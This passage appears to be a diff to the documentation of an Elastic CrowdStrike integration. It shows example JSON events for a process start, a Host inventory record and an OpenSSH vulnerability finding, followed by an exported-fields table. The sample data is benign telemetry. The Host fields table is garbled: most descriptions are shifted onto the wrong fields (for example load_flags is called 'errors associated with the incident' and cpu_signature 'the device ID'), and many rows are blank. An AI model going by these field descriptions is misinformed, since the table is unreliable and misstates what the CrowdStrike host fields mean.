+        "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
+        "outcome": "success",
+        "type": [
+            "start"
+        ]
+    },
+    "host": {
+        "ip": [
+            "16.15.12.10"
+        ],
+        "name": "FEVWSN1-234",
+        "os": {
+            "type": "windows"
+        }
+    },
+    "input": {
+        "type": "aws-s3"
+    },
+    "message": "ProcessRollup2",
+    "observer": {
+        "address": [
+            "67.43.156.14"
+        ],
+        "geo": {
+            "continent_name": "Asia",
+            "country_iso_code": "BT",
+            "country_name": "Bhutan",
+            "location": {
+                "lat": 27.5,
+                "lon": 90.5
+            }
+        },
+        "ip": [
+            "67.43.156.14"
+        ],
+        "serial_number": "ffffffff655344736aca58d17fb570f0",
+        "version": "1007.3.0012309.1"
+    },
+    "process": {
+        "Ext": {
+            "token": {
+                "integrity_level_name": "LOW"
+            }
+        },
+        "args": [
+            "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
+            "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
+        ],
+        "args_count": 2,
+        "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
+        "entity_id": "2450046082233",
+        "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
+        "hash": {
+            "md5": "50d5fd1290d94d46acca0585311e74d5",
+            "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
+        },
+        "name": "backgroundTaskHost.exe",
+        "parent": {
+            "entity_id": "2439558094566",
+            "name": "svchost.exe"
+        },
+        "pid": 22272,
+        "start": "2020-11-08T17:06:21.648Z"
+    },
+    "related": {
+        "hash": [
+            "50d5fd1290d94d46acca0585311e74d5",
+            "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+            "3998263252"
+        ],
+        "hosts": [
+            "FEVWSN1-234",
+            "COMPUTER1"
+        ],
+        "ip": [
+            "67.43.156.14",
+            "16.15.12.10"
+        ],
+        "user": [
+            "Alan-One",
+            "DOMAIN\\BRADLEYA",
+            "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "forwarded",
+        "crowdstrike-fdr"
+    ],
+    "user": {
+        "domain": "DOMAIN",
+        "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
+        "name": "Alan-One"
+    }
+}
+```
+
+### Host
+
+This is the `Host` dataset.
+
+#### Example
+
+An example event for `host` looks as following:
+
+```json
+{
+    "@timestamp": "2023-11-07T10:26:53.000Z",
+    "agent": {
+        "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70",
+        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
+        "name": "elastic-agent-18005",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "host": {
+            "agent": {
+                "load_flags": "0",
+                "local_time": "2023-11-07T04:51:16.678Z",
+                "version": "7.05.17603.0"
+            },
+            "bios": {
+                "manufacturer": "ABCInc.",
+                "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)"
+            },
+            "chassis_type": {
+                "desc": "Laptop",
+                "value": "9"
+            },
+            "cid": "92012896127c4948236ba7601b886b0",
+            "config_id": {
+                "base": "6594763",
+                "build": "1703",
+                "platform": "4"
+            },
+            "connection_ip": "81.2.69.192",
+            "cpu_signature": "460517",
+            "device_policies": {
+                "device_control": {
+                    "applied": true,
+                    "applied_date": "2023-06-20T08:45:26.341Z",
+                    "assigned_date": "2023-06-20T08:43:47.736Z",
+                    "policy_id": "2f88daf0177f467dae69262a5ce71775",
+                    "policy_type": "device-control"
+                },
+                "firewall": {
+                    "applied": true,
+                    "applied_date": "2023-09-11T10:33:44.174Z",
+                    "assigned_date": "2023-09-11T10:32:47.853Z",
+                    "policy": {
+                        "id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
+                        "type": "firewall"
+                    },
+                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
+                },
+                "global_config": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.515Z",
+                    "assigned_date": "2023-11-07T04:51:18.946Z",
+                    "policy": {
+                        "id": "7e3078b60976486cac5dc998808d9135",
+                        "type": "globalconfig"
+                    },
+                    "settings_hash": "f01def74"
+                },
+                "prevention": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643Z",
+                    "assigned_date": "2023-06-08T10:03:49.505Z",
+                    "policy": {
+                        "id": "1024fac1b279424fa7300b8ac2d56be5",
+                        "type": "prevention"
+                    },
+                    "settings_hash": "f7a54ca1"
+                },
+                "remote_response": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.017Z",
+                    "assigned_date": "2023-06-08T10:03:49.505Z",
+                    "policy": {
+                        "id": "dabb4def99034f11b9b3d52271584c9f",
+                        "type": "remote-response"
+                    },
+                    "settings_hash": "8a548e5e"
+                },
+                "sensor_update": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.659Z",
+                    "assigned_date": "2023-11-07T04:47:43.342Z",
+                    "policy": {
+                        "id": "64bfa2bbcd4e46da92a66b107933da11",
+                        "type": "sensor-update"
+                    },
+                    "settings_hash": "tagged|18;101",
+                    "uninstall_protection": "ENABLED"
+                }
+            },
+            "external_ip": "81.2.69.192",
+            "first_seen": "2023-06-08T10:00:19.000Z",
+            "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+            "groups": [
+                "182388a8dbea4c44b5e019cfd32c2695"
+            ],
+            "hostname": "CLM101-131.local",
+            "id": "3114433dbce478ca48d9a828b9b34be",
+            "kernel_version": "22.6.0",
+            "last_seen": "2023-11-07T10:25:24.000Z",
+            "local_ip": "81.2.69.142",
+            "mac_address": "14-7D-DA-AD-AC-71",
+            "machine_domain": "SYS",
+            "major_version": "22",
+            "meta": {
+                "version": "6002",
+                "version_string": "7:43570272778"
+            },
+            "minor_version": "6",
+            "modified_timestamp": "2023-11-07T10:26:53.000Z",
+            "os": {
+                "build": "22G120",
+                "version": "Ventura(13)"
+            },
+            "platform": {
+                "id": "1",
+                "name": "Mac"
+            },
+            "policies": [
+                {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643Z",
+                    "assigned_date": "2023-06-08T10:03:49.505Z",
+                    "policy": {
+                        "id": "1024fac1b279424fa7300b8ac2d56be5",
+                        "type": "prevention"
+                    },
+                    "settings_hash": "f7a54ca1"
+                }
+            ],
+            "product_type_desc": "Workstation",
+            "provision_status": "Provisioned",
+            "reduced_functionality_mode": "no",
+            "serial_number": "FVFDH73HMNHX",
+            "site_name": "Default-First-Site-Name",
+            "status": "normal",
+            "system": {
+                "manufacturer": "ABCInc.",
+                "product_name": "Air,1"
+            },
+            "tags": [
+                "tags"
+            ]
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.host",
+        "namespace": "67537",
+        "type": "logs"
+    },
+    "device": {
+        "id": "3114433dbce478ca48d9a828b9b34be"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "host"
+        ],
+        "dataset": "crowdstrike.host",
+        "ingested": "2025-11-27T09:36:28Z",
+        "kind": "event",
+        "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}",
+        "type": [
+            "info"
+        ]
+    },
+    "host": {
+        "geo": {
+            "city_name": "London",
+            "continent_name": "Europe",
+            "country_iso_code": "GB",
+            "country_name": "United Kingdom",
+            "location": {
+                "lat": 51.5142,
+                "lon": -0.0931
+            },
+            "region_iso_code": "GB-ENG",
+            "region_name": "England"
+        },
+        "hostname": "CLM101-131.local",
+        "id": "3114433dbce478ca48d9a828b9b34be",
+        "ip": [
+            "81.2.69.192"
+        ],
+        "mac": [
+            "14-7D-DA-AD-AC-71"
+        ],
+        "os": {
+            "full": "Ventura(13)",
+            "platform": "Mac",
+            "type": "macos"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "related": {
+        "hash": [
+            "f01def74",
+            "f7a54ca1",
+            "8a548e5e",
+            "tagged|18;101",
+            "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77"
+        ],
+        "hosts": [
+            "CLM101-131.local",
+            "SYS"
+        ],
+        "ip": [
+            "81.2.69.192",
+            "81.2.69.142"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-host"
+    ]
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword |
+| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date |
+| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword |
+| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword |
+| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword |
+| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword |
+| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword |
+| crowdstrike.host.cid | The version of the BIOS on the host. | keyword |
+| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword |
+| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword |
+| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword |
+| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip |
+| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword |
+| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean |
+| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date |
+| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date |
+| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword |
+| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword |
+| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean |
+| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date |
+| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date |
+| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword |
+| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword |
+| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword |
+| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean |
+| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date |
+| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date |
+| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword |
+| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword |
+| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword |
+| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean |
+| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date |
+| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date |
+| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword |
+| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword |
+| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword |
+| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword |
+| crowdstrike.host.device_policies.remote_response.applied |  | boolean |
+| crowdstrike.host.device_policies.remote_response.applied_date |  | date |
+| crowdstrike.host.device_policies.remote_response.assigned_date |  | date |
+| crowdstrike.host.device_policies.remote_response.policy.id |  | keyword |
+| crowdstrike.host.device_policies.remote_response.policy.type |  | keyword |
+| crowdstrike.host.device_policies.remote_response.settings_hash |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.applied |  | boolean |
+| crowdstrike.host.device_policies.sensor_update.applied_date |  | date |
+| crowdstrike.host.device_policies.sensor_update.assigned_date |  | date |
+| crowdstrike.host.device_policies.sensor_update.policy.id |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.policy.type |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.settings_hash |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.uninstall_protection |  | keyword |
+| crowdstrike.host.external_ip | The external IP address of the host. | ip |
+| crowdstrike.host.first_seen |  | date |
+| crowdstrike.host.group_hash |  | keyword |
+| crowdstrike.host.groups |  | keyword |
+| crowdstrike.host.hostname | The hostname of the host. | keyword |
+| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword |
+| crowdstrike.host.kernel_version |  | keyword |
+| crowdstrike.host.last_seen |  | date |
+| crowdstrike.host.local_ip |  | ip |
+| crowdstrike.host.mac_address | The MAC address of the host. | keyword |
+| crowdstrike.host.machine_domain |  | keyword |
+| crowdstrike.host.major_version |  | keyword |
+| crowdstrike.host.meta.version |  | keyword |
+| crowdstrike.host.meta.version_string |  | keyword |
+| crowdstrike.host.minor_version |  | keyword |
+| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date |
+| crowdstrike.host.os.build |  | keyword |
+| crowdstrike.host.os.version | The version of the operating system on the host. | keyword |
+| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword |
+| crowdstrike.host.platform.id |  | keyword |
+| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword |
+| crowdstrike.host.policies.applied |  | boolean |
+| crowdstrike.host.policies.applied_date |  | date |
+| crowdstrike.host.policies.assigned_date |  | date |
+| crowdstrike.host.policies.policy.id |  | keyword |
+| crowdstrike.host.policies.policy.type |  | keyword |
+| crowdstrike.host.policies.rule_groups |  | keyword |
+| crowdstrike.host.policies.settings_hash |  | keyword |
+| crowdstrike.host.product_type_desc |  | keyword |
+| crowdstrike.host.provision_status |  | keyword |
+| crowdstrike.host.reduced_functionality_mode |  | keyword |
+| crowdstrike.host.serial_number |  | keyword |
+| crowdstrike.host.site_name |  | keyword |
+| crowdstrike.host.status |  | keyword |
+| crowdstrike.host.system.manufacturer |  | keyword |
+| crowdstrike.host.system.product_name |  | keyword |
+| crowdstrike.host.tags |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| log.offset | Log offset. | long |
+| tags | List of keywords used to tag each event. | keyword |
+
+
+### Vulnerability
+
+This is the `Vulnerability` dataset.
+
+#### Example
+
+An example event for `vulnerability` looks as following:
+
+```json
+{
+    "@timestamp": "2025-02-25T13:33:23.000Z",
+    "agent": {
+        "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a",
+        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
+        "name": "elastic-agent-98024",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "vulnerability": {
+            "aid": "897580adb4ab4540a357536faa41de18",
+            "app": {
+                "product_name_normalized": "openssh",
+                "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
+                "vendor_normalized": "Ubuntu"
+            },
+            "apps": [
+                {
+                    "evaluation_logic": {
+                        "aid": "897580adb4ab4540a357536faa41de18",
+                        "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+                        "complex_check_operator": "AND",
+                        "created_timestamp": "2025-02-20T10:15:30.000Z",
+                        "id": "138bd6a67791327ab367838079b4d786",
+                        "logic": [
+                            {
+                                "comparison_check": "equals",
+                                "comparisons": {
+                                    "state_comparisons": [
+                                        {
+                                            "entity_comparisons": [
+                                                {
+                                                    "actual_value_field": "version",
+                                                    "operation": "equals",
+                                                    "value_datatype": "string"
+                                                }
+                                            ],
+                                            "entity_operator": "AND"
+                                        }
+                                    ],
+                                    "state_operator": "OR"
+                                },
+                                "determined_by_comparison": true,
+                                "existence_check": "Yes",
+                                "id": "logic-12345",
+                                "negate": false,
+                                "status": "active",
+                                "title": "Evaluation Logic for OpenSSH",
+                                "type": "comparison"
+                            }
+                        ],
+                        "updated_timestamp": "2025-02-25T13:33:23.000Z"
+                    },
+                    "patch_publication_date": "2025-02-19T00:00:00.000Z",
+                    "product_name_normalized": "openssh",
+                    "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
+                    "remediation": {
+                        "ids": [
+                            "4688299d204b35a192828bdaf556ecf8"
+                        ]
+                    },
+                    "remediation_info": {
+                        "minimum_id": "df1af7df1d33382398fb0dc268109a4d",
+                        "patch_publication_date": "2025-02-19T00:00:00.000Z",
+                        "recommended_id": "4688299d207b35a192828bdaf556ecf8"
+                    },
+                    "sub_status": "open",
+                    "vendor_normalized": "Ubuntu"
+                }
+            ],
+            "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+            "closed_timestamp": "2025-02-26T10:00:00.000Z",
+            "confidence": "confirmed",
+            "created_timestamp": "2025-02-20T10:10:24.000Z",
+            "cve": {
+                "base_score": 6.8,
+                "cisa_info": {
+                    "due_date": "2025-03-01T00:00:00.000Z",
+                    "is_cisa_kev": false
+                },
+                "cwes": [
+                    "CWE-123"
+                ],
+                "description": "A vulnerability was found in OpenSSH...",
+                "exploit_status": 30,
+                "exploitability_score": 1.6,
+                "exprt_rating": "MEDIUM",
+                "id": "CVE-2025-26465",
+                "impact_score": 5.2,
+                "published_date": "2025-02-18T19:15:00.000Z",
+                "references": [
+                    "https://ubuntu.com/security/CVE-2025-26465"
+                ],
+                "remediation_level": "O",
+                "severity": "MEDIUM",
+                "spotlight_published_date": "2025-02-19T05:32:00.000Z",
+                "types": [
+                    "Vulnerability"
+                ],
+                "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
+            },
+            "data_providers": [
+                {
+                    "ports": [
+                        22,
+                        80
+                    ],
+                    "provider": "Falcon sensor",
+                    "rating": "high",
+                    "scan_id": "scan-123456",
+                    "scan_time": "2025-02-20T12:00:00Z",
+                    "scanner_id": "scanner-xyz"
+                }
+            ],
+            "host_info": {
+                "asset_criticality": "Critical",
+                "groups": [
+                    {
+                        "id": "group-123",
+                        "name": "Production"
+                    }
+                ],
+                "has_run_container": false,
+                "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z",
+                "hostname": "ub24-50-10-154",
+                "internet_exposure": "No",
+                "local_ip": "1.128.0.0",
+                "machine_domain": "example.local",
+                "managed_by": "Falcon sensor",
+                "os_version": "Ubuntu 24.04",
+                "platform": "Linux",
+                "product_type_desc": "Server",
+                "service_provider": "AWS",
+                "service_provider_account_id": "123456789012",
+                "system_manufacturer": "Dell",
+                "tags": [
+                    "production",
+                    "security"
+                ]
+            },
+            "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
+            "remediation": {
+                "entities": [
+                    {
+                        "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer",
+                        "id": "4688299d207b35a192828bdaf556ecf8",
+                        "link": "https://ubuntu.com/security/CVE-2025-26465",
+                        "recommendation_type": "recommended",
+                        "reference": "1:9.6p1-3ubuntu13.8",
+                        "title": "Update ubuntu openssh",
+                        "vendor_url": "https://www.openssh.com"
+                    }
+                ],
+                "ids": [
+                    "4688299d207b35a192828bdaf556ecf8",
+                    "df1af7df1d33382398fb0dc268109a4d"
+                ]
+            },
+            "status": "open",
+            "suppression_info": {
+                "is_suppressed": false,
+                "reason": "Not applicable"
+            },
+            "updated_timestamp": "2025-02-25T13:33:23.000Z",
+            "vulnerability_id": "CVE-2025-26465"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.vulnerability",
+        "namespace": "35952",
+        "type": "logs"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "vulnerability"
+        ],
+        "dataset": "crowdstrike.vulnerability",
+        "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
+        "ingested": "2025-08-22T08:33:35Z",
+        "kind": "event",
+        "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 